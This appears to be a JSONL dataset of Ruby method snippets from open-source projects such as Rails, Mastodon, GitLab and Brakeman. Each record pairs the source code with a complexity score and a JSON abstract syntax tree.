{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/remove_concurrent_index.rb","start_line":16,"raw_source":"def on_send(node)\n          return unless in_migration?(node)\n          return unless node.children[1] == :remove_concurrent_index\n\n          node.each_ancestor(:def) do |def_node|\n            add_offense(def_node.loc.name) if def_node.method?(:change)\n          end\n        end","complexity_score":15.35,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_migration?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"sym\",\"children\":[\"remove_concurrent_index\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_ancestor\",{\"type\":\"sym\",\"children\":[\"def\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"def_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_node\"]},\"loc\"]},\"name\"]}]},null]}]}]}]}","id":"fa3373a1-dce5-49d8-a74b-4603621a2f03"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/notify_service.rb","start_line":80,"raw_source":"def response_to_recipient?\n      return false if @notification.target_status.in_reply_to_id.nil?\n\n      statuses_that_mention_sender.positive?\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"response_to_recipient?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"target_status\"]},\"in_reply_to_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statuses_that_mention_sender\"]},\"positive?\"]}]}]}","id":"fbecda5b-c801-40d0-84e9-69b7c600f3af"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/table_writer.rb","start_line":29,"raw_source":"def output_table_definitions(table)\n      definitions = create_column_definitions(table)\n\n      if table.primary_key_column_names.size > 1\n        primary_key_column_names =\n          table.primary_key_column_names.map { |name| escape_identifier(name) }.join(\", \")\n        definitions << \"    PRIMARY KEY (#{primary_key_column_names})\"\n      end\n\n      if table.constraints&.any?\n        definitions.concat(\n          table.constraints.map do |constraint|\n            \"    CONSTRAINT #{escape_identifier(constraint.name)} CHECK (#{constraint.condition})\"\n          end,\n        )\n      end\n\n      @output.puts definitions.join(\",\\n\")\n    end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"output_table_definitions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"definitions\",{\"type\":\"send\",\"children\":[null,\"create_column_definitions\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"primary_key_column_names\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"primary_key_column_names\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"primary_key_column_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"escape_identifier\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    PRIMARY KEY (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"primary_key_column_names\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"constraints\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"constraints\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constraint\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    CONSTRAINT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape_identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint\"]},\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" CHECK (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint\"]},\"condition\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]},\"join\",{\"type\":\"str\",\"children\":[\",\\n\"]}]}]}]}]}","id":"1276e7b4-2343-4cef-9278-54249230c7d4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":297,"raw_source":"def create_table(table_name, id: :primary_key, primary_key: nil, force: nil, **options, &block)\n        validate_create_table_options!(options)\n        validate_table_length!(table_name) unless options[:_uses_legacy_table_name]\n\n        if force && options.key?(:if_not_exists)\n          raise ArgumentError, \"Options `:force` and `:if_not_exists` cannot be used simultaneously.\"\n        end\n\n        td = build_create_table_definition(table_name, id: id, primary_key: primary_key, force: force, **options, &block)\n\n        if force\n          drop_table(table_name, force: force, if_exists: true)\n        else\n          schema_cache.clear_data_source_cache!(table_name.to_s)\n        end\n\n        result = execute schema_creation.accept(td)\n\n        unless supports_indexes_in_create?\n          td.indexes.each do |column_name, index_options|\n            add_index(table_name, column_name, **index_options, if_not_exists: td.if_not_exists)\n          end\n        end\n\n        if supports_comments? && !supports_comments_in_create?\n          if table_comment = td.comment.presence\n            change_table_comment(table_name, table_comment)\n          end\n\n          td.columns.each do |column|\n            change_column_comment(table_name, column.name, column.comment) if column.comment.present?\n          end\n        end\n\n        result\n      end","complexity_score":54.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"sym\",\"children\":[\"primary_key\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"primary_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"force\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_create_table_options!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_uses_legacy_table_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"validate_table_length!\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"force\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"if_not_exists\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Options `:force` and `:if_not_exists` cannot be used simultaneously.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"td\",{\"type\":\"send\",\"children\":[null,\"build_create_table_definition\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"lvar\",\"children\":[\"primary_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"force\"]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_cache\"]},\"clear_data_source_cache!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_creation\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"td\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_indexes_in_create?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"indexes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"index_options\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"if_not_exists\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_comments?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_comments_in_create?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_comment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"comment\"]},\"presence\"]}]},{\"type\":\"send\",\"children\":[null,\"change_table_comment\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"table_comment\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"comment\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"change_column_comment\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"comment\"]}]},null]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"fb1f0e89-1198-4980-828d-35d83a3dea85"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/journal_formatter/decimal.rb","start_line":33,"raw_source":"def format_values(values)\n      values.map { |v| v.to_i.to_s }\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_i\"]},\"to_s\"]}]}]}","id":"f2c21cfd-e2c1-4d45-b910-8412b9ed426f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_weak_rsa_key.rb","start_line":53,"raw_source":"def check_key_size result, key_size_arg\n    return unless number? key_size_arg\n    return unless original? result\n\n    key_size = key_size_arg.value\n\n    if key_size < 1024\n      confidence = :high\n      message = msg(\"RSA key with size \", msg_code(key_size.to_s), \" is considered very weak. Use at least 2048 bit key size\")\n    elsif key_size < 2048\n      confidence = :medium\n      message = msg(\"RSA key with size \", msg_code(key_size.to_s), \" is considered weak. Use at least 2048 bit key size\")\n    else\n      return\n    end\n\n    warn result: result,\n      warning_type: \"Weak Cryptography\",\n      warning_code: :small_rsa_key_size,\n      message: message,\n      confidence: confidence,\n      user_input: key_size_arg,\n      cwe_id: [326]\n  end","complexity_score":25.83,"ast_json":"{\"type\":\"def\",\"children\":[\"check_key_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"key_size_arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number?\",{\"type\":\"lvar\",\"children\":[\"key_size_arg\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original?\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"key_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size_arg\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\"<\",{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"RSA key with size \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" is considered very weak. Use at least 2048 bit key size\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\"<\",{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"medium\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"RSA key with size \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" is considered weak. Use at least 2048 bit key size\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Weak Cryptography\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"small_rsa_key_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"lvar\",\"children\":[\"key_size_arg\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[326]}]}]}]}]}]}]}","id":"a3cb7ff4-3d8e-49f7-99d1-ecf637daa367"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks.rb","start_line":38,"raw_source":"def self.build_each(**init_args)\n          return enum_for(__method__, **init_args) unless block_given?\n\n          all.each do |task_class|\n            yield(task_class.new(**init_args))\n          end\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_each\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"init_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"send\",\"children\":[null,\"__method__\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"init_args\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task_class\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"init_args\"]}]}]}]}]}]}]}]}","id":"48f912fe-4991-4d25-bdd6-3f2fa638e947"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/tracker/method_info.rb","start_line":9,"raw_source":"def initialize name, src, owner, file\n      @name = name\n      @src = src\n      @owner = owner\n      @file = file\n      @type = case src.node_type\n              when :defn\n                :instance\n              when :defs\n                :class\n              else\n                raise \"Expected sexp type: #{src.node_type}\"\n              end\n\n      @simple_method = nil\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"owner\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@src\",{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@owner\",{\"type\":\"lvar\",\"children\":[\"owner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"node_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"defn\"]},{\"type\":\"sym\",\"children\":[\"instance\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"defs\"]},{\"type\":\"sym\",\"children\":[\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected sexp type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"node_type\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@simple_method\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"eb574ea3-2c3c-4d67-b7ea-373dad0960c9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/canonical_email_block.rb","start_line":36,"raw_source":"def email=(email)\n    super\n    self.canonical_email_hash = self.class.digest(self.email)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"email=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"canonical_email_hash=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email\"]}]}]}]}]}","id":"792b42ad-6a44-493b-94b4-12f189f7a70e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/plugin_generator.rb","start_line":89,"raw_source":"def file(source, dest)\n    label = create_label(dest, source.read)\n    puts \"\\t#{label} #{dest}\"\n    if label == \"conflict\"\n      return unless overwrite?(dest)\n    end\n    FileUtils.cp(source, dest)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"dest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[null,\"create_label\",{\"type\":\"lvar\",\"children\":[\"dest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"read\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"==\",{\"type\":\"str\",\"children\":[\"conflict\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"overwrite?\",{\"type\":\"lvar\",\"children\":[\"dest\"]}]},null,{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cp\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"dest\"]}]}]}]}","id":"257958df-2d0a-45b6-9d6c-91b940c80a38"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/activitypub/collections_controller.rb","start_line":59,"raw_source":"def for_signed_account\n    # Because in public fetch mode we cache the response, there would be no\n    # benefit from performing the check below, since a blocked account or domain\n    # would likely be served the cache from the reverse proxy anyway\n\n    if authorized_fetch_mode? && !signed_request_account.nil? && (@account.blocking?(signed_request_account) || (!signed_request_account.domain.nil? && @account.domain_blocking?(signed_request_account.domain)))\n      []\n    else\n      yield\n    end\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"for_signed_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_fetch_mode?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed_request_account\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"blocking?\",{\"type\":\"send\",\"children\":[null,\"signed_request_account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed_request_account\"]},\"domain\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"domain_blocking?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed_request_account\"]},\"domain\"]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"c439733c-0728-44e0-ac31-3f7f128f2396"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/suspicious_sign_in_detector.rb","start_line":25,"raw_source":"def freshly_signed_up?\n    @user.current_sign_in_at.blank?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"freshly_signed_up?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"current_sign_in_at\"]},\"blank?\"]}]}","id":"5f58e394-0cc0-47fd-88e8-01d2dce7dfe2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/helper_test.rb","start_line":128,"raw_source":"def test_helper_method_arg\n    assert_nothing_raised { @controller_class.helper_method :delegate_method_arg }\n    assert_equal({ hi: :there }, @controller_class.new.helpers.delegate_method_arg({ hi: :there }))\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_helper_method_arg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller_class\"]},\"helper_method\",{\"type\":\"sym\",\"children\":[\"delegate_method_arg\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hi\"]},{\"type\":\"sym\",\"children\":[\"there\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller_class\"]},\"new\"]},\"helpers\"]},\"delegate_method_arg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hi\"]},{\"type\":\"sym\",\"children\":[\"there\"]}]}]}]}]}]}]}","id":"ea4e00cc-2772-4e93-8d84-cc97b8650098"}
